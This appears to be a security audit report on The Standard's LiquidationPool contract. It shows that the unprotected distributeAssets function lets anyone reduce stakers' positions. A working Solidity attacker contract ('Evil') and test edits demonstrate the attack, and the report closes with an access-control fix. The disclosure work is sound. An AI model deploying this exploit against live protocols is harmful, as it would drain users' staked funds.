#12 Decrease stake holders' positions without increasing their rewards

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol

https://github.com/Cyfrin/2023-12-the-standard/blob/main/test/liquidationPool.js

Summary

Anyone can decrease stake holders' positions without increasing their rewards

Vulnerability Details

In order to see the vulnerability, create an evil contract as shown below and place it in the contracts/ folder.

Filename

Evil.sol

Content

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol" as Chainlink;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "contracts/interfaces/IEUROs.sol";
import "contracts/interfaces/ILiquidationPool.sol";
import "contracts/interfaces/ILiquidationPoolManager.sol";
import "contracts/interfaces/ISmartVaultManager.sol";
import "contracts/interfaces/ITokenManager.sol";
import "hardhat/console.sol";

interface ILiquidationPoolEvil {
    function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
}

contract Evil  {

    ILiquidationPoolManager.Asset asset;
    ILiquidationPoolManager.Asset asset2;
    ILiquidationPoolManager.Asset[] assets;

    address lp;

    constructor(address liquidationPool) {
        lp = liquidationPool;
    }

    function doEvil() external {
        asset = ILiquidationPoolManager.Asset({
            token: ITokenManager.Token({
                symbol: bytes32(abi.encode("ETH")),
                addr: address(0), 
                dec: 18,
                clAddr: 0x0165878A594ca255338adfa4d48449f69242Eb8F,
                clDec: 8
            }),
            amount: 123400000000000000 // choose by how much you want to decrease position 
        });
        assets.push(asset);
        ILiquidationPoolEvil(lp).distributeAssets(assets,120000,100000);
    }

}

Now, you have to deploy it as follows:

Step 1:

In your tests/liquidationPool.js, create a variable called Evil

describe('LiquidationPool', async () => {
  let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
-  ERC20MockFactory, TST, EUROs;
+  ERC20MockFactory, TST, EUROs, Evil;

Now, at the end of beforeEach function, wait for it to get deployed and pass in the address of LiquidationPool contract as shown

LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
    await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
+    Evil = await (await ethers.getContractFactory('Evil')).deploy(LiquidationPool.address);
+    await Evil.deployed();

Now, let's focus our attention on the claim rewards test suite. Inside the test suite, make the following changes

Step 2

Print the position before runLiquidation is called

await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);

await fastForward(DAY);

+let { _position: p1 } = await LiquidationPool.position(user1.address);
+console.log("position before runLiquidation")
+console.log(p1);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);

Step 3

Print the position after running liquidation but before running Evil contract's doEvil function

Print the position after the doEvil function is run

await LiquidationPoolManager.runLiquidation(TOKEN_ID);
      
+let { _position: p2 } = await LiquidationPool.position(user1.address);
+console.log("before evil")
+console.log(p2);

+let evil =  Evil.doEvil();
+await evil;

+let { _position: p3 } = await LiquidationPool.position(user1.address);
+console.log("after evil")
+console.log(p3);

expect(await ethers.provider.getBalance(LiquidationPool.address)).to.equal(ethCollateral);
expect(await WBTC.balanceOf(LiquidationPool.address)).to.equal(wbtcCollateral)
expect(await USDC.balanceOf(LiquidationPool.address)).to.equal(usdcCollateral)

let { _rewards } = await LiquidationPool.position(user1.address);

expect(_rewards).to.have.length(3);
expect(rewardAmountForAsset(_rewards, 'ETH')).to.equal(ethCollateral);
expect(rewardAmountForAsset(_rewards, 'WBTC')).to.equal(wbtcCollateral);
expect(rewardAmountForAsset(_rewards, 'USDC')).to.equal(usdcCollateral);

You will find that position p3 has less euros than position p2 and this was possible because of the doEvil

Impact

The stake holders position goes down without their volition and it looks bad.

Tools Used

Intense staring at the code base

Recommendations

Open file LiquidationPool.sol then make the following change

Attach a modifer that only allows LiquidationPoolManager to call this function

-function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {

+function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {